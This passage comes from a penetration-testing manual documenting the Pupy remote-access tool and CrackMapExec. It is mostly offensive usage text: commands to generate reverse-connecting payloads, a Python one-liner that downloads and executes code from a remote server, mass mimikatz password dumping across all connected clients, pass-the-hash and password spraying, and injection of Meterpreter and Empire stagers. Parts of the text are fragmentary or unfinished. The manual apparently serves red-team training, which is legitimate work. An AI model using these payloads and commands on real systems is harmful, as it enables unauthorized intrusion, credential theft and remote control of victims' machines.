options. The default transport used is ssl if none is supplied. Note that Pupy is compatible with obfsproxy’s awesome
transports like obfs3 or scramblesuit.
Generate Binaries
payload.py (generated with ./pupygen.py -f py) can be run on windows, linux and osx directly. All dependencies and
chosen scriptlets are embedded. However some functionalities won’t work on windows like the process migration
which needs the compiled binaries.
On Windows
To generate binaries on windows you can use the precompiled binaries templates :
$ usage: pupygen.py [-h]
[-f {client,py,pyinst,py_oneliner,ps1,ps1_oneliner,rubber_ducky}]
[-O {android,windows,linux}] [-A {x86,x64}] [-S] [-o OUTPUT]
[-D OUTPUT_DIR] [-s SCRIPTLET] [-l] [-E] [--no-use-proxy]
[--randomize-hash]
[--oneliner-listen-port ONELINER_LISTEN_PORT]
[--debug-scriptlets] [--debug] [--workdir WORKDIR]
[{bind,auto_proxy,dnscnc,connect}] ...
positional arguments:
{bind,auto_proxy,dnscnc,connect}
Choose a launcher. Launchers make payloads behave
differently at startup.
launcher_args launcher options
optional arguments:
-h, --help show this help message and exit
-f {client,py,pyinst,py_oneliner,ps1,ps1_oneliner,rubber_ducky}, --format {client,py,
˓→pyinst,py_oneliner,ps1,ps1_oneliner,rubber_ducky}
(default: client)
-O {android,windows,linux}, --os {android,windows,linux}
Target OS (default: windows)
-A {x86,x64}, --arch {x86,x64}
Target arch (default: x86)
-S, --shared Create shared object
-o OUTPUT, --output OUTPUT
output path
-D OUTPUT_DIR, --output-dir OUTPUT_DIR
output folder
-s SCRIPTLET, --scriptlet SCRIPTLET
offline python scriptlets to execute before starting
(continues on next page)
Another option is to use the powershell oneliner format to deploy pupy from memory using powershell :
---
[+] Started http server on 0.0.0.0:8080
[+] waiting for a connection ...
pupygen.py can embed offline scriptlets with the exe/dll you generate. These scripts will be executed before connecting
back and can be used to add some offline capabilities like adding persistence through registry, checking for sandboxed
environment, . . . etc
On Android
There is multiple options. The first one is generate a pure python payload and the victim needs to have installed
python:
$ ./pupygen.py -f py connect --transport ssl --host 192.168.1.1
[+] generating payload ...
embedding /usr/local/lib/python2.7/dist-packages/rpyc ...
embedding /opt/pupy/pupy/network ...
[+] payload successfully generated with config :
OUTPUT_PATH = /opt/pupy/pupy/pupy_packed.py
LAUNCHER = 'connect'
LAUNCHER_ARGS = ['--transport', 'ssl', '--host', '192.168.1.1']
SCRIPTLETS = []
Once the script executed on the linux/OSX host, you should have a pupy session. All non-standard dependencies are
packaged inside the payload and loaded from memory.
The same thing can be loaded remotely from a single line by using the py_oneliner format. This method
has the advantage of not leaving any trace on the disk and can be deployed easily from a ssh shell using
ssh tunnels
$ ./pupygen.py -f py_oneliner connect --transport ssl --host 192.168.1.1
then execute follow the instructions. Your python one-liner should looks like :
python -c 'import urllib;exec urllib.urlopen("http://X.X.X.X:8080/index").read()'
The third option is use pyinstaller to package a linux/OSX payload to create a standalone binary. This method has
the advantage to work even if there is no recent/compatible python version installed on the host. You may need the
following hidden imports in your .spec file :
• rpyc
• pycrypto
• rsa
• pyasn1
• uuid
• pty
• tty
Using docker
mkdir /tmp/pupy
docker run -d --name pupy -p 2022:22 -p 8080:8080 -v /tmp/pupy:/projects alxchk/
˓→pupy:unstable
The server
To start the server, you can simply start pupysh.py on the correct port with the correct transport
./pupysh.py -h
usage: pupysh [-h] [--log-lvl {DEBUG,INFO,WARNING,ERROR}] [--version]
[--transport {obfs3,tcp_ssl_proxy,tcp_cleartext,tcp_ssl,tcp_base64,
˓→scramblesuit,tcp_cleartext_proxy}]
[--port PORT]
Pupy console
optional arguments:
-h, --help show this help message and exit
--log-lvl {DEBUG,INFO,WARNING,ERROR}, --lvl {DEBUG,INFO,WARNING,ERROR}
change log verbosity
--version print version and exit
--transport {obfs3,tcp_ssl_proxy,tcp_cleartext,tcp_ssl,tcp_base64,scramblesuit,tcp_
˓→cleartext_proxy}
First of all it is important to know that nearly all commands in pupy have a help builtin. So if at any moment you are
wondering what a command does you can type your command followed by -h or –help
sessions -h
jobs -h
run -h
This is even true for modules ! For example if you want to know how to use the pyexec module type :
optional arguments:
-h, --help show this help message and exit
--file <path> execute code from .py file
-c <code string>, --code <code string>
execute python oneliner code. ex : 'import
platform;print platform.uname()'
Nearly all commands and modules in pupy have custom auto-completion. So if you are wondering what you need to
type just press TAB
>> run
getsystem load_package msgbox ps shell_
˓→exec
Every command in pupy shell uses a unix-like escaping syntax. If you need a space in one of your arguments you need
to put your argument between quotes.
If you send a Windows path, you need to double the backquotes or put everything between quotes.
Or
Create Aliases
Modules aliases can be defined in the pupy.conf file. If you define the following alias :
shell=interactive_shell
Jobs
Jobs are commands running in the background. Some modules like socks5proxy or portfwd automatically start as
jobs, but all modules can be run as jobs when used with the –bg argument.
>> run --bg shell_exec 'tasklist /V'
[%] job < shell_exec ['tasklist /V'] > started in background !
The –bg switch is typically used when you want to execute a long command/module and want the result later while
having the shell still functioning.
The jobs output can be retrieved at any moment by using the jobs -p command. From the “jobs” command you can
also list jobs status and kill jobs.
>> jobs
usage: jobs [-h] [-k <job_id>] [-l] [-p <job_id>]
optional arguments:
-h, --help show this help message and exit
-k <job_id>, --kill <job_id>
print the job current output before killing it
-l, --list list jobs
-p <job_id>, --print-output <job_id>
print a job output
Regular jobs can be set in Linux/Unix environments by running your pupysh.py script inside the Screen utility. You
can then setup cronjobs to run the below command at whatever intervals you require, this essentially pastes the input
after the word ‘stuff’ into the screen session. Replace 1674 with the ID of your screen session, the echo command is
the Enter key being pressed.
screen -S 1674 -X stuff 'this is an example command'$(echo -ne '\015')
By default pupy launch every module you run on all connected clients. This allows for example to run mimikatz on
all connected clients and dump passwords everywhere in one command
run memory_exec /usr/share/mimikatz/Win32/mimikatz.exe privilege::debug
˓→sekurlsa::logonPasswords exit
First of all write the function/class you want to import on the remote client in the example we create the file
pupy/packages/windows/all/pupwinutils/msgbox.py
import ctypes
import threading
t.daemon=True
t.start()
then, simply create a module to load our package and call the function remotely
__class_name__="MsgBoxPopup"
@config(cat="troll", tags=["message","popup"])
class MsgBoxPopup(PupyModule):
""" Pop up a custom message box """
dependencies=["pupwinutils.msgbox"]
def init_argparse(self):
self.arg_parser = PupyArgumentParser(prog="msgbox", description=self.__
˓→doc__)
and that’s it, we have a fully functional module :) This module is only compatible with windows, you can check the
same module in the project to see how it’s implemented to manage multi-os compatibility.
positional arguments:
text text to print in the msgbox :)
optional arguments:
-h, --help show this help message and exit
--title TITLE msgbox title
5.2 CrackMapExec
CrackMapExec (a.k.a CME) is a post-exploitation tool that helps automate assessing the security of large Active Direc-
tory networks. Built with stealth in mind, CME follows the concept of “Living off the Land”: abusing built-in Active
Directory features/protocols to achieve it’s functionality and allowing it to evade most endpoint protection/IDS/IPS
solutions.
CME makes heavy use of the Impacket library (developed by @asolino) and the PowerSploit Toolkit (developed by
@mattifestation) for working with network protocols and performing a variety of post-exploitation techniques.
Although meant to be used primarily for offensive purposes (e.g. red teams), CME can be used by blue teams as well
to assess account privileges, find possible misconfigurations and simulate attack scenarios.
CrackMapExec is developed by @byt3bl33d3r
5.2.1 General
To get help
#~ cme --help
usage: cme [-h] [-v] [-t THREADS] [--timeout TIMEOUT] [--jitter INTERVAL]
[--darrell] [--verbose]
{http,smb,mssql} ...
Version: 4.0.0dev
Codename: 'Sercurty'
optional arguments:
-h, --help show this help message and exit
-v, --version show program's version number and exit
-t THREADS set how many concurrent threads to use (default: 100)
--timeout TIMEOUT max timeout in seconds of each thread (default: None)
--jitter INTERVAL sets a random delay between each connection (default: None)
--darrell give Darrell a hand
--verbose enable verbose output
protocols:
available protocols
{http,smb,mssql}
http own stuff using HTTP(S)
smb own stuff using SMB and/or Active Directory
mssql own stuff using MSSQL and/or Active Directory
positional arguments:
target the target IP(s), range(s), CIDR(s), hostname(s),
FQDN(s) or file(s) containg a list of targets
optional arguments:
-h, --help show this help message and exit
-id CRED_ID [CRED_ID ...]
database credential ID(s) to use for authentication
-u USERNAME [USERNAME ...]
username(s) or file(s) containing usernames
-p PASSWORD [PASSWORD ...]
password(s) or file(s) containing passwords
--gfail-limit LIMIT max number of global failed login attempts
--ufail-limit LIMIT max number of failed login attempts per username
--fail-limit LIMIT max number of failed login attempts per host
-M MODULE, --module MODULE
payload module to use
-o MODULE_OPTION [MODULE_OPTION ...]
payload module options
-L, --list-modules list available modules
--options display module options
--server {http,https}
use the selected server (default: https)
--server-host HOST IP to bind the server to (default: 0.0.0.0)
--server-port PORT start the server on the specified port
-H HASH [HASH ...], --hash HASH [HASH ...]
-- SNIP --
Target Formats
Every protocol supports targets by CIDR notation(s), IP address(s), IP range(s), hostname(s), a file containing a list of
targets or combination of all of the latter:
Using Credentials
Every protocol supports using credentials in one form or another. For details on using credentials with a specific
protocol, see the appropriate wiki section.
Generally speaking, to use credentials, you can run the following commands:
Note 1: When using usernames or passwords that contain special symbols, wrap them in single quotes to make your
shell interpret them as a string.
EXAMPLE
Note 2: Due to a bug in Python’s argument parsing library, credentials beginning with a dash (-) will throw an expected
at least one argument error message. To get around this, specify the credentials by using the ‘long’ argument format
(note the = sign):
By specifying a credential ID (or multiple credential IDs) with the -id flag CME will automatically pull that credential
from the back-end database and use it to authenticate (saves a lot of typing):
All protocols support brute-forcing and password spraying. For details on brute-forcing/password spraying with a
specific protocol, see the appropriate wiki section.
By specifying a file or multiple values CME will automatically brute-force logins for all targets using the specified
protocol:
Using Modules
List them
cme <protocol> -L
EXAMPLE
#~ cme smb -L
[*] met_inject Downloads the Meterpreter stager and injects it into
˓→memory
[*] get_keystrokes Logs keys pressed, time and the active window
[*] empire_exec Uses Empire's RESTful API to generate a launcher for
˓→the specified listener and executes it
-- SNIP --
To run a module
EXAMPLE
crackmapexec smb <target(s)> -u Administrator -p 'P@ssw0rd' -M mimikatz
EXAMPLE
#~ cme smb -M mimikatz --options
Module options are specified with the -o flag. All options are specified in the form of KEY=value (msfvenom style)
Example
#~ cme <protocol> <target(s)> -u Administrator -p 'P@ssw0rd' -M mimikatz -o COMMAND=
˓→'privilege::debug'
Database
CME automatically stores all used/dumped credentials (along with other information) in it’s database which is setup
on first run.
As of CME v4 each protocol has it’s own database which makes things much more sane and allows for some awesome
possibilities. Additionally, v4 introduces workspaces (similar to Metasploit).
For details and usage of a specific protocol’s database see the appropriate wiki section.
All workspaces and their relative databases are stored in ~/.cme/workspaces
CME ships with a secondary command line script cmedb which abstracts interacting with the back-end database.
Typing the command cmedb will drop you into a command shell:
#~ cmedb
cmedb (default) >
Workspaces
The default workspace name is called ‘default’ (as represented within the prompt), once a workspace is selected
everything that you do in CME will be stored in that workspace.
To create a workspace:
cmedb (default) > workspace create test
[*] Creating workspace 'test'
[*] Initializing HTTP protocol database
[*] Initializing SMB protocol database
[*] Initializing MSSQL protocol database
cmedb (test) >
To switch workspace:
cmedb (test) > workspace default
cmedb (default) >
Protocol DB
Passing-the-Hash
CME supports authenticating via SMB using Passing-The-Hash attacks with the -H flag:
crackmapexec smb <target(s)> -u username -H LMHASH:NTHASH
NULL Sessions
You can log in with a null session by using ‘’ as the username and/or password
crackmapexec smb <target(s)> -u '' -p ''
We all love shells and that’s why CME makes it as easy as possible to get them! There really is something magical
about shelling a /24
Empire Agent
We can use the empire_exec module to execute an Empire Agent’s initial stager. In the background, the module
connects to Empire’s RESTful API, generates a launcher for the specified listener and executes it.
• First setup an Empire listener:
The username and password that CME uses to authenticate to Empire’s RESTful API are stored in the cme.conf file
located at ~/.cme/cme.conf:
[Empire]
api_host=127.0.0.1
api_port=1337
username=empireadmin
password=Password123!
[Metasploit]
rpc_host=127.0.0.1
rpc_port=55552
password=abc123
• Then just run the empire_exec module and specify the listener name:
Meterpreter
We can use the metinject module to directly inject meterpreter into memory using PowerSploit’s Invoke-Shellcode.ps1
script.
• Then just run the metinject module and specify the LHOST and LPORT values:
Todo: FInish
Obligatory Disclaimer
This blog is purely intended for educational purposes. We do not want anyone to use this information (or any informa-
tion on this blog) to hack into computers where they do not have permission for or do other illegal things. Therefore
we don’t want to be held responsible for the acts of other people who took parts of this document and used it for illegal
purposes. If you don’t agree, we kindly ask you to leave this website.
575
Ptest Method Documentation, Release 1
• genindex
• modindex
• search
577